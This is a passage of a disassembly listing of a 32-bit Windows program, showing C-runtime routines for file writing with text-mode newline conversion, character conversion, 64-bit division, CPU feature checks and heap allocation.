[eax+24h] add cl, cl sar cl, 1 cmp cl, 2 mov [ebp+518h+var_588], edi mov [ebp+518h+var_56D], cl jz short loc_416C58 cmp cl, 1 jnz short loc_416C8B loc_416C58: ; CODE XREF: sub_416BBA+97j mov ecx, [ebp+518h+arg_8] not ecx test cl, 1 jnz short loc_416C8B call sub_40F7E7 xor esi, esi mov [eax], esi call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h jmp loc_417160 ; --------------------------------------------------------------------------- loc_416C8B: ; CODE XREF: sub_416BBA+9Cj ; sub_416BBA+A9j test byte ptr [eax+4], 20h jz short loc_416CA0 push 2 push 0 push 0 push esi call sub_416A1E add esp, 10h loc_416CA0: ; CODE XREF: sub_416BBA+D5j push esi call sub_4172A0 test eax, eax pop ecx jz loc_416EA5 mov eax, [edi] test byte ptr [ebx+eax+4], 80h jz loc_416EA5 call sub_40F39E mov eax, [eax+6Ch] xor ecx, ecx cmp [eax+14h], ecx lea eax, [ebp+518h+var_594] setz cl push eax mov eax, [edi] push dword ptr [ebx+eax] mov esi, ecx call ds:off_41E0FC test eax, eax jz loc_416EA5 test esi, esi jz short loc_416CF3 cmp [ebp+518h+var_56D], 0 jz loc_416EA5 loc_416CF3: ; CODE XREF: sub_416BBA+12Dj call ds:off_41E100 and [ebp+518h+var_568], 0 cmp [ebp+518h+arg_8], 0 mov esi, [ebp+518h+var_57C] mov [ebp+518h+var_594], eax mov [ebp+518h+var_58C], esi jbe loc_417112 and [ebp+518h+var_574], 0 jmp short loc_416D1C ; --------------------------------------------------------------------------- loc_416D19: ; CODE XREF: sub_416BBA+2E0j mov esi, [ebp+518h+var_58C] loc_416D1C: ; CODE XREF: sub_416BBA+15Dj mov al, [ebp+518h+var_56D] test al, al jnz loc_416E2D mov al, [esi] xor ecx, ecx cmp al, 0Ah setz cl movsx eax, al push eax mov [ebp+518h+var_590], ecx call sub_416796 test eax, eax pop ecx jnz short loc_416D5B push 1 lea eax, [ebp+518h+var_56C] push esi push eax call sub_41909C add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_417108 jmp short loc_416D8B ; --------------------------------------------------------------------------- loc_416D5B: ; CODE XREF: sub_416BBA+185j mov eax, [ebp+518h+var_57C] sub eax, esi add eax, [ebp+518h+arg_8] cmp eax, 1 jbe loc_417108 push 2 lea eax, [ebp+518h+var_56C] push esi push eax call sub_41909C add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_417108 inc esi inc [ebp+518h+var_574] loc_416D8B: ; CODE XREF: sub_416BBA+19Fj xor eax, eax push eax push eax push 5 lea ecx, [ebp+518h+var_C] push ecx push 1 lea ecx, [ebp+518h+var_56C] push ecx push eax push [ebp+518h+var_594] inc esi inc [ebp+518h+var_574] mov [ebp+518h+var_58C], esi call ds:dword_41E120 ; WideCharToMultiByte mov esi, eax test esi, esi jz loc_417108 push 0 lea eax, [ebp+518h+var_568] push eax push esi lea eax, [ebp+518h+var_C] push eax mov eax, [edi] push dword ptr [ebx+eax] call ds:off_41E078 test eax, eax jz loc_4170FF mov eax, [ebp+518h+var_568] add [ebp+518h+var_578], eax cmp eax, esi jl loc_417108 cmp [ebp+518h+var_590], 0 jz loc_416E91 push 0 lea eax, [ebp+518h+var_568] push eax push 1 lea eax, [ebp+518h+var_C] push eax mov eax, [edi] mov [ebp+518h+var_C], 0Dh push dword ptr [ebx+eax] call ds:off_41E078 test eax, eax jz loc_4170FF cmp [ebp+518h+var_568], 1 jl loc_417108 inc [ebp+518h+var_580] inc [ebp+518h+var_578] jmp short loc_416E91 ; --------------------------------------------------------------------------- loc_416E2D: ; CODE XREF: sub_416BBA+167j cmp al, 1 jz short loc_416E35 cmp al, 2 jnz short loc_416E50 loc_416E35: ; CODE XREF: sub_416BBA+275j movzx ecx, word ptr [esi] xor edx, edx cmp cx, 0Ah setz dl inc esi inc esi add [ebp+518h+var_574], 2 mov [ebp+518h+var_56C], ecx mov [ebp+518h+var_58C], esi mov [ebp+518h+var_590], edx loc_416E50: ; CODE XREF: sub_416BBA+279j cmp al, 1 jz short loc_416E58 cmp al, 2 jnz short loc_416E91 loc_416E58: ; CODE XREF: sub_416BBA+298j push [ebp+518h+var_56C] call sub_419FEC cmp ax, word ptr [ebp+518h+var_56C] pop ecx jnz loc_4170FF inc [ebp+518h+var_578] cmp [ebp+518h+var_590], 0 jz short loc_416E91 push 0Dh pop eax push eax mov [ebp+518h+var_56C], eax call sub_419FEC cmp ax, word ptr [ebp+518h+var_56C] pop ecx jnz loc_4170FF inc [ebp+518h+var_578] inc [ebp+518h+var_580] loc_416E91: ; CODE XREF: sub_416BBA+232j ; sub_416BBA+271j ... mov eax, [ebp+518h+arg_8] cmp [ebp+518h+var_574], eax jb loc_416D19 jmp loc_417108 ; --------------------------------------------------------------------------- loc_416EA5: ; CODE XREF: sub_416BBA+EFj ; sub_416BBA+FCj ... mov eax, [edi] add eax, ebx test byte ptr [eax+4], 80h jz loc_4170D8 mov eax, [ebp+518h+var_57C] xor esi, esi cmp [ebp+518h+var_56D], 0 mov [ebp+518h+var_56C], esi jnz loc_416F56 cmp [ebp+518h+arg_8], esi mov [ebp+518h+var_568], eax jbe loc_417139 loc_416ED4: ; CODE XREF: sub_416BBA+395j mov ecx, [ebp+518h+var_568] and [ebp+518h+var_574], 0 sub ecx, [ebp+518h+var_57C] lea eax, [ebp+518h+var_564] loc_416EE1: ; CODE XREF: sub_416BBA+354j cmp ecx, [ebp+518h+arg_8] jnb short loc_416F10 mov edx, [ebp+518h+var_568] inc [ebp+518h+var_568] mov dl, [edx] inc ecx cmp dl, 0Ah jnz short loc_416F01 inc [ebp+518h+var_580] mov byte ptr [eax], 0Dh inc eax inc [ebp+518h+var_574] loc_416F01: ; CODE XREF: sub_416BBA+33Bj mov [eax], dl inc eax inc [ebp+518h+var_574] cmp [ebp+518h+var_574], 400h jb short loc_416EE1 loc_416F10: ; CODE XREF: sub_416BBA+32Dj mov esi, eax lea eax, [ebp+518h+var_564] sub esi, eax push 0 lea eax, [ebp+518h+var_584] push eax push esi lea eax, [ebp+518h+var_564] push eax mov eax, [edi] push dword ptr [ebx+eax] call ds:off_41E078 test eax, eax jz loc_4170FF mov eax, [ebp+518h+var_584] add [ebp+518h+var_578], eax cmp eax, esi jl loc_417108 mov eax, [ebp+518h+var_568] sub eax, [ebp+518h+var_57C] cmp eax, [ebp+518h+arg_8] jb short loc_416ED4 jmp loc_417108 ; --------------------------------------------------------------------------- loc_416F56: ; CODE XREF: sub_416BBA+305j cmp [ebp+518h+var_56D], 2 jnz loc_416FFD cmp [ebp+518h+arg_8], esi mov [ebp+518h+var_568], eax jbe loc_417139 loc_416F6F: ; CODE XREF: sub_416BBA+438j mov ecx, [ebp+518h+var_568] xor esi, esi sub ecx, [ebp+518h+var_57C] lea eax, [ebp+518h+var_564] loc_416F7A: ; CODE XREF: sub_416BBA+3F7j cmp ecx, [ebp+518h+arg_8] jnb short loc_416FB3 mov edx, [ebp+518h+var_568] add [ebp+518h+var_568], 2 movzx edx, word ptr [edx] inc ecx inc ecx cmp dx, 0Ah jnz short loc_416FA1 add [ebp+518h+var_580], 2 mov word ptr [eax], 0Dh inc eax inc eax inc esi inc esi loc_416FA1: ; CODE XREF: sub_416BBA+3D8j mov edi, [ebp+518h+var_588] mov [eax], dx inc eax inc eax inc esi inc esi cmp esi, 3FFh jb short loc_416F7A loc_416FB3: ; CODE XREF: sub_416BBA+3C6j mov esi, eax lea eax, [ebp+518h+var_564] sub esi, eax push 0 lea eax, [ebp+518h+var_584] push eax push esi lea eax, [ebp+518h+var_564] push eax mov eax, [edi] push dword ptr [ebx+eax] call ds:off_41E078 test eax, eax jz loc_4170FF mov eax, [ebp+518h+var_584] add [ebp+518h+var_578], eax cmp eax, esi jl loc_417108 mov eax, [ebp+518h+var_568] sub eax, [ebp+518h+var_57C] cmp eax, [ebp+518h+arg_8] jb loc_416F6F jmp loc_417108 ; --------------------------------------------------------------------------- loc_416FFD: ; CODE XREF: sub_416BBA+3A0j cmp [ebp+518h+arg_8], esi mov [ebp+518h+var_574], eax jbe loc_417139 loc_41700C: ; CODE XREF: sub_416BBA+516j mov ecx, [ebp+518h+var_574] and [ebp+518h+var_568], 0 sub ecx, [ebp+518h+var_57C] push 2 lea eax, [ebp+518h+var_160] pop esi loc_41701F: ; CODE XREF: sub_416BBA+497j cmp ecx, [ebp+518h+arg_8] jnb short loc_417053 mov edx, [ebp+518h+var_574] movzx edx, word ptr [edx] add [ebp+518h+var_574], esi add ecx, esi cmp dx, 0Ah jnz short loc_417042 mov word ptr [eax], 0Dh add eax, esi add [ebp+518h+var_568], esi loc_417042: ; CODE XREF: sub_416BBA+47Cj add [ebp+518h+var_568], esi mov [eax], dx add eax, esi cmp [ebp+518h+var_568], 152h jb short loc_41701F loc_417053: ; CODE XREF: sub_416BBA+46Bj xor esi, esi push esi push esi push 2ABh lea ecx, [ebp+518h+var_410] push ecx lea ecx, [ebp+518h+var_160] sub eax, ecx cdq sub eax, edx sar eax, 1 push eax mov eax, ecx push eax push esi push 0FDE9h call ds:dword_41E120 ; WideCharToMultiByte mov edi, eax cmp edi, esi jz short loc_4170FF loc_417086: ; CODE XREF: sub_416BBA+4F6j push 0 lea eax, [ebp+518h+var_584] push eax mov eax, edi sub eax, esi push eax lea eax, [ebp+esi+518h+var_410] push eax mov eax, [ebp+518h+var_588] mov eax, [eax] push dword ptr [ebx+eax] call ds:off_41E078 test eax, eax jz short loc_4170B4 add esi, [ebp+518h+var_584] cmp edi, esi jg short loc_417086 jmp short loc_4170BD ; --------------------------------------------------------------------------- loc_4170B4: ; CODE XREF: sub_416BBA+4EFj call ds:dword_41E0D8 ; RtlGetLastWin32Error mov [ebp+518h+var_56C], eax loc_4170BD: ; CODE XREF: sub_416BBA+4F8j cmp edi, esi jg short loc_417108 mov eax, [ebp+518h+var_574] sub eax, [ebp+518h+var_57C] cmp eax, [ebp+518h+arg_8] mov [ebp+518h+var_578], eax jb loc_41700C jmp short loc_417108 ; --------------------------------------------------------------------------- loc_4170D8: ; CODE XREF: sub_416BBA+2F3j push 0 lea ecx, [ebp+518h+var_584] push ecx push [ebp+518h+arg_8] push [ebp+518h+var_57C] push dword ptr [eax] call ds:off_41E078 test eax, eax jz short loc_4170FF mov eax, [ebp+518h+var_584] and [ebp+518h+var_56C], 0 mov [ebp+518h+var_578], eax jmp short loc_417108 ; --------------------------------------------------------------------------- loc_4170FF: ; CODE XREF: sub_416BBA+21Aj ; sub_416BBA+25Bj ... call ds:dword_41E0D8 ; RtlGetLastWin32Error mov [ebp+518h+var_56C], eax loc_417108: ; CODE XREF: sub_416BBA+199j ; sub_416BBA+1AFj ... mov eax, [ebp+518h+var_578] test eax, eax jnz short loc_417165 mov edi, [ebp+518h+var_588] loc_417112: ; CODE XREF: sub_416BBA+153j xor esi, esi cmp [ebp+518h+var_56C], esi jz short loc_417139 push 5 pop esi cmp [ebp+518h+var_56C], esi jnz short loc_41712E call sub_40F7D4 mov dword ptr [eax], 9 jmp short loc_417159 ; --------------------------------------------------------------------------- loc_41712E: ; CODE XREF: sub_416BBA+565j push [ebp+518h+var_56C] call sub_40F7FA pop ecx jmp short loc_417160 ; --------------------------------------------------------------------------- loc_417139: ; CODE XREF: sub_416BBA+314j ; sub_416BBA+3AFj ... mov eax, [edi] test byte ptr [ebx+eax+4], 40h jz short loc_41714E mov eax, [ebp+518h+var_57C] cmp byte ptr [eax], 1Ah jnz short loc_41714E xor eax, eax jmp short loc_417168 ; --------------------------------------------------------------------------- loc_41714E: ; CODE XREF: sub_416BBA+586j ; sub_416BBA+58Ej call sub_40F7D4 mov dword ptr [eax], 1Ch loc_417159: ; CODE XREF: sub_416BBA+572j call sub_40F7E7 mov [eax], esi loc_417160: ; CODE XREF: sub_416BBA+CCj ; sub_416BBA+57Dj or eax, 0FFFFFFFFh jmp short loc_417168 ; --------------------------------------------------------------------------- loc_417165: ; CODE XREF: sub_416BBA+553j sub eax, [ebp+518h+var_580] loc_417168: ; CODE XREF: sub_416BBA+592j ; sub_416BBA+5A9j pop edi pop ebx loc_41716A: ; CODE XREF: sub_416BBA+37j ; sub_416BBA+62j mov ecx, [ebp+518h+var_4] xor ecx, ebp pop esi call sub_40AB4A add ebp, 518h leave retn sub_416BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417180 proc near ; CODE XREF: sub_4107D6+CBp ; sub_4107D6+13Ap ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 10h push offset dword_421D98 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_4171AF call sub_40F7E7 and dword ptr [eax], 0 call sub_40F7D4 mov dword ptr [eax], 9 loc_4171A7: ; CODE XREF: sub_417180+5Cj or eax, 0FFFFFFFFh jmp loc_41724C ; --------------------------------------------------------------------------- loc_4171AF: ; CODE XREF: sub_417180+12j xor edi, edi cmp eax, edi jl short loc_4171BD cmp eax, dword_433BE4 jb short loc_4171DE loc_4171BD: ; CODE XREF: sub_417180+33j ; sub_417180+7Cj call sub_40F7E7 mov [eax], edi call sub_40F7D4 mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40CB08 add esp, 14h jmp short loc_4171A7 ; --------------------------------------------------------------------------- loc_4171DE: ; CODE XREF: sub_417180+3Bj mov ecx, eax sar ecx, 5 lea ebx, ds:433C00h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, [ebx] movzx ecx, byte ptr [ecx+esi+4] and ecx, 1 jz short loc_4171BD push eax call sub_4189BA pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_417227 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416BBA add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_41723D ; --------------------------------------------------------------------------- loc_417227: ; CODE XREF: sub_417180+8Fj call sub_40F7D4 mov dword ptr [eax], 9 call sub_40F7E7 mov [eax], edi or [ebp+var_1C], 0FFFFFFFFh loc_41723D: ; CODE XREF: sub_417180+A5j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_417252 mov eax, [ebp+var_1C] loc_41724C: ; CODE XREF: sub_417180+2Aj call __SEH_epilog4 retn sub_417180 endp ; =============== S U B R O U T I N E ======================================= sub_417252 proc near ; CODE XREF: sub_417180+C4p ; DATA XREF: r69pu5ti:00421DB0o push dword ptr [ebp+8] call sub_418A5A pop ecx retn sub_417252 endp ; =============== S U B R O U T I N E ======================================= sub_41725C proc near ; CODE XREF: sub_4107D6+9Cp ; sub_413A04+58p ... arg_0 = dword ptr 4 inc dword_426048 push 1000h call sub_41183A test eax, eax pop ecx mov ecx, [esp+arg_0] mov [ecx+8], eax jz short loc_417285 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_417296 ; --------------------------------------------------------------------------- loc_417285: ; CODE XREF: sub_41725C+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_417296: ; CODE XREF: sub_41725C+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41725C endp ; =============== S U B R O U T I N E ======================================= sub_4172A0 proc near ; CODE XREF: sub_4107D6+91p ; sub_41239F+Cp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_4172B7 call sub_40F7D4 mov dword ptr [eax], 9 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4172B7: ; CODE XREF: sub_4172A0+7j push esi xor esi, esi cmp eax, esi jl short loc_4172C6 cmp eax, dword_433BE4 jb short loc_4172E2 loc_4172C6: ; CODE XREF: sub_4172A0+1Cj call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 9 call sub_40CB08 add esp, 14h xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4172E2: ; CODE XREF: sub_4172A0+24j mov ecx, eax and eax, 1Fh imul eax, 28h sar ecx, 5 mov ecx, dword_433C00[ecx*4] movzx eax, byte ptr [ecx+eax+4] and eax, 40h pop esi retn sub_4172A0 endp ; =============== S U B R O U T I N E ======================================= sub_4172FE proc near ; CODE XREF: sub_411A79:loc_411A9Cp push esi push edi xor edi, edi loc_417302: ; CODE XREF: sub_4172FE+1Aj lea esi, off_423F60[edi] push dword ptr [esi] call sub_40F128 add edi, 4 cmp edi, 28h pop ecx mov [esi], eax jb short loc_417302 pop edi pop esi retn sub_4172FE endp ; =============== S U B R O U T I N E ======================================= sub_41731D proc near ; CODE XREF: sub_4109D7+554p mov eax, dword_423068 or eax, 1 xor ecx, ecx cmp dword_4264A0, eax setz cl mov eax, ecx retn sub_41731D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417333 proc near ; CODE XREF: sub_417492+12p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx push edi mov edi, [ebp+arg_8] jnz short loc_417359 cmp edi, ebx jbe short loc_417359 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417355 mov [eax], ebx loc_417355: ; CODE XREF: sub_417333+1Ej ; sub_417333+ECj ... xor eax, eax jmp short loc_4173D8 ; --------------------------------------------------------------------------- loc_417359: ; CODE XREF: sub_417333+13j ; sub_417333+17j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417363 or dword ptr [eax], 0FFFFFFFFh loc_417363: ; CODE XREF: sub_417333+2Bj cmp edi, 7FFFFFFFh jbe short loc_417386 call sub_40F7D4 push 16h pop esi push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_40CB08 add esp, 14h loc_417382: ; CODE XREF: sub_417333+CCj ; sub_417333+D5j mov eax, esi jmp short loc_4173D8 ; --------------------------------------------------------------------------- loc_417386: ; CODE XREF: sub_417333+36j push [ebp+arg_10] lea ecx, [ebp+var_10] call sub_40AB59 mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz loc_417431 mov ax, [ebp+arg_C] cmp ax, 0FFh jbe short loc_4173DD cmp esi, ebx jz short loc_4173BA cmp edi, ebx jbe short loc_4173BA push edi push ebx push esi call sub_40C6F0 add esp, 0Ch loc_4173BA: ; CODE XREF: sub_417333+76j ; sub_417333+7Aj ... call sub_40F7D4 mov dword ptr [eax], 2Ah call sub_40F7D4 cmp [ebp+var_4], bl mov eax, [eax] jz short loc_4173D8 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh loc_4173D8: ; CODE XREF: sub_417333+24j ; sub_417333+51j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4173DD: ; CODE XREF: sub_417333+72j cmp esi, ebx jz short loc_41740F cmp edi, ebx ja short loc_41740D loc_4173E5: ; CODE XREF: sub_417333+141j ; sub_417333+149j ... call sub_40F7D4 push 22h pop esi push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_40CB08 add esp, 14h cmp [ebp+var_4], bl jz short loc_417382 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh jmp loc_417382 ; --------------------------------------------------------------------------- loc_41740D: ; CODE XREF: sub_417333+B0j mov [esi], al loc_41740F: ; CODE XREF: sub_417333+ACj mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_41741C mov dword ptr [eax], 1 loc_41741C: ; CODE XREF: sub_417333+E1j ; sub_417333+12Aj ... cmp [ebp+var_4], bl jz loc_417355 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh jmp loc_417355 ; --------------------------------------------------------------------------- loc_417431: ; CODE XREF: sub_417333+64j lea ecx, [ebp+arg_4] push ecx push ebx push edi push esi push 1 lea ecx, [ebp+arg_C] push ecx push ebx mov [ebp+arg_4], ebx push dword ptr [eax+4] call ds:dword_41E120 ; WideCharToMultiByte cmp eax, ebx jz short loc_417463 cmp [ebp+arg_4], ebx jnz loc_4173BA mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_41741C mov [ecx], eax jmp short loc_41741C ; --------------------------------------------------------------------------- loc_417463: ; CODE XREF: sub_417333+11Aj call ds:dword_41E0D8 ; RtlGetLastWin32Error cmp eax, 7Ah jnz loc_4173BA cmp esi, ebx jz loc_4173E5 cmp edi, ebx jbe loc_4173E5 push edi push ebx push esi call sub_40C6F0 add esp, 0Ch jmp loc_4173E5 sub_417333 endp ; =============== S U B R O U T I N E ======================================= sub_417492 proc near ; CODE XREF: sub_4109D7+487p ; sub_4109D7+8B1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push 0 push [esp+4+arg_C] push [esp+8+arg_8] push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_417333 add esp, 14h retn sub_417492 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4174B0 proc near ; CODE XREF: sub_4109D7+786p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4174E1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+4+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+4+arg_8] mov ecx, eax mov eax, esi mul [esp+4+arg_8] add edx, ecx jmp short loc_417528 ; --------------------------------------------------------------------------- loc_4174E1: ; CODE XREF: sub_4174B0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4174EF: ; CODE XREF: sub_4174B0+49j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4174EF div ebx mov esi, eax mul [esp+4+arg_C] mov ecx, eax mov eax, [esp+4+arg_8] mul esi add edx, ecx jb short loc_41751D cmp edx, [esp+4+arg_4] ja short loc_41751D jb short loc_417526 cmp eax, [esp+4+arg_0] jbe short loc_417526 loc_41751D: ; CODE XREF: sub_4174B0+5Dj ; sub_4174B0+63j dec esi sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_417526: ; CODE XREF: sub_4174B0+65j ; sub_4174B0+6Bj xor ebx, ebx loc_417528: ; CODE XREF: sub_4174B0+2Fj sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi pop esi retn 10h sub_4174B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417545 proc near ; CODE XREF: sub_417595+4Dp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_421DB8 call __SEH_prolog4 and [ebp+ms_exc.disabled], 0 movapd xmm0, xmm1 mov [ebp+var_1C], 1 jmp short loc_417585 ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] cmp eax, 0C0000005h jz short loc_41757A cmp eax, 0C000001Dh jz short loc_41757A xor eax, eax retn ; --------------------------------------------------------------------------- loc_41757A: ; CODE XREF: sub_417545+29j ; sub_417545+30j xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] and [ebp+var_1C], 0 loc_417585: ; CODE XREF: sub_417545+1Bj mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_417545 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417595 proc near ; CODE XREF: sub_411455+7p sub_4175F5p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h xor eax, eax push ebx mov [ebp+var_4], eax mov [ebp+var_C], eax mov [ebp+var_8], eax push ebx pushf pop eax mov ecx, eax xor eax, 200000h push eax popf pushf pop edx sub edx, ecx jz short loc_4175D8 push ecx popf xor eax, eax cpuid mov [ebp+var_C], eax mov [ebp+var_18], ebx mov [ebp+var_14], edx mov [ebp+var_10], ecx mov eax, 1 cpuid mov [ebp+var_4], edx mov [ebp+var_8], eax loc_4175D8: ; CODE XREF: sub_417595+22j pop ebx test [ebp+var_4], 4000000h jz short loc_4175F0 call sub_417545 test eax, eax jz short loc_4175F0 xor eax, eax inc eax jmp short loc_4175F2 ; --------------------------------------------------------------------------- loc_4175F0: ; CODE XREF: sub_417595+4Bj ; sub_417595+54j xor eax, eax loc_4175F2: ; CODE XREF: sub_417595+59j pop ebx leave retn sub_417595 endp ; =============== S U B R O U T I N E ======================================= sub_4175F5 proc near ; DATA XREF: r69pu5ti:0041E2C0o call sub_417595 mov dword_434D40, eax xor eax, eax retn sub_4175F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417602 proc near ; CODE XREF: sub_41187A+Ep var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00417707 SIZE 00000019 BYTES push 0Ch push offset dword_421DD8 call __SEH_prolog4 mov ecx, [ebp+arg_0] xor edi, edi cmp ecx, edi jbe short loc_417645 push 0FFFFFFE0h pop eax xor edx, edx div ecx cmp eax, [ebp+arg_4] sbb eax, eax inc eax jnz short loc_417645 call sub_40F7D4 mov dword ptr [eax], 0Ch push edi push edi push edi push edi push edi call sub_40CB08 add esp, 14h loc_41763E: ; CODE XREF: sub_417602+E6j ; sub_417602+F2j xor eax, eax jmp loc_41771A ; --------------------------------------------------------------------------- loc_417645: ; CODE XREF: sub_417602+13j ; sub_417602+22j imul ecx, [ebp+arg_4] mov esi, ecx mov [ebp+arg_0], esi cmp esi, edi jnz short loc_417655 xor esi, esi inc esi loc_417655: ; CODE XREF: sub_417602+4Ej ; sub_417602+DBj xor ebx, ebx mov [ebp+var_1C], ebx cmp esi, 0FFFFFFE0h ja short loc_4176C8 cmp dword_434D5C, 3 jnz short loc_4176B3 add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi mov eax, [ebp+arg_0] cmp eax, dword_434D4C ja short loc_4176B3 push 4 call sub_40F9F7 pop ecx mov [ebp+ms_exc.disabled], edi push [ebp+arg_0] call sub_4102F9 pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_4176FE mov ebx, [ebp+var_1C] cmp ebx, edi jz short loc_4176B7 push [ebp+arg_0] push edi push ebx call sub_40C6F0 add esp, 0Ch loc_4176B3: ; CODE XREF: sub_417602+64j ; sub_417602+78j cmp ebx, edi jnz short loc_417718 loc_4176B7: ; CODE XREF: sub_417602+A2j push esi push 8 push dword_425FE8 call ds:dword_41E0F8 ; RtlAllocateHeap mov ebx, eax loc_4176C8: ; CODE XREF: sub_417602+5Bj cmp ebx, edi jnz short loc_417718 cmp dword_42636C, edi jz short loc_417707 push esi call sub_411CE7 pop ecx test eax, eax jnz loc_417655 mov eax, [ebp+arg_8] cmp eax, edi jz loc_41763E mov dword ptr [eax], 0Ch jmp loc_41763E sub_417602 endp ; =============== S U B R O U T I N E ======================================= sub_4176F9 proc near ; DATA XREF: r69pu5ti:00421DF0o xor edi, edi mov esi, [ebp+0Ch] sub_4176F9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4176FE proc near ; CODE XREF: sub_417602+98p push 4 call sub_40F91F pop ecx retn sub_4176FE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_417602 loc_417707: ; CODE XREF: sub_417602+D0j cmp ebx, edi jnz short loc_417718 mov eax, [ebp+arg_8] cmp eax, edi jz short loc_417718 mov dword ptr [eax], 0Ch loc_417718: ; CODE XREF: sub_417602+B3j ; sub_417602+C8j ... mov eax, ebx loc_41771A: ; CODE XREF: sub_417602+3Ej call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_417602 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417720 proc near ; CODE XREF: sub_4118C2+Cp ; sub_41793B+3Ep var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041786D SIZE 000000CE BYTES push 10h push offset dword_421DF8 call __SEH_prolog4 mov ebx, [ebp+arg_0] test ebx, ebx jnz short loc_417741 push [ebp+arg_4] call sub_40D437 pop ecx jmp loc_41790D ; --------------------------------------------------------------------------- loc_417741: ; CODE XREF: sub_417720+11j mov esi, [ebp+arg_4] test esi, esi jnz short loc_417754 push ebx call sub_40D35A pop ecx jmp loc_41790B ; --------------------------------------------------------------------------- loc_417754: ; CODE XREF: sub_417720+26j cmp dword_434D5C, 3 jnz loc_4178F4 loc_417761: ; CODE XREF: sub_417720+169j xor edi, edi mov [ebp+var_1C], edi cmp esi, 0FFFFFFE0h ja loc_4178F9 push 4 call sub_40F9F7 pop ecx mov [ebp+ms_exc.disabled], edi push ebx call sub_40FB25 pop ecx mov [ebp+var_20], eax cmp eax, edi jz loc_41782A cmp esi, dword_434D4C ja short 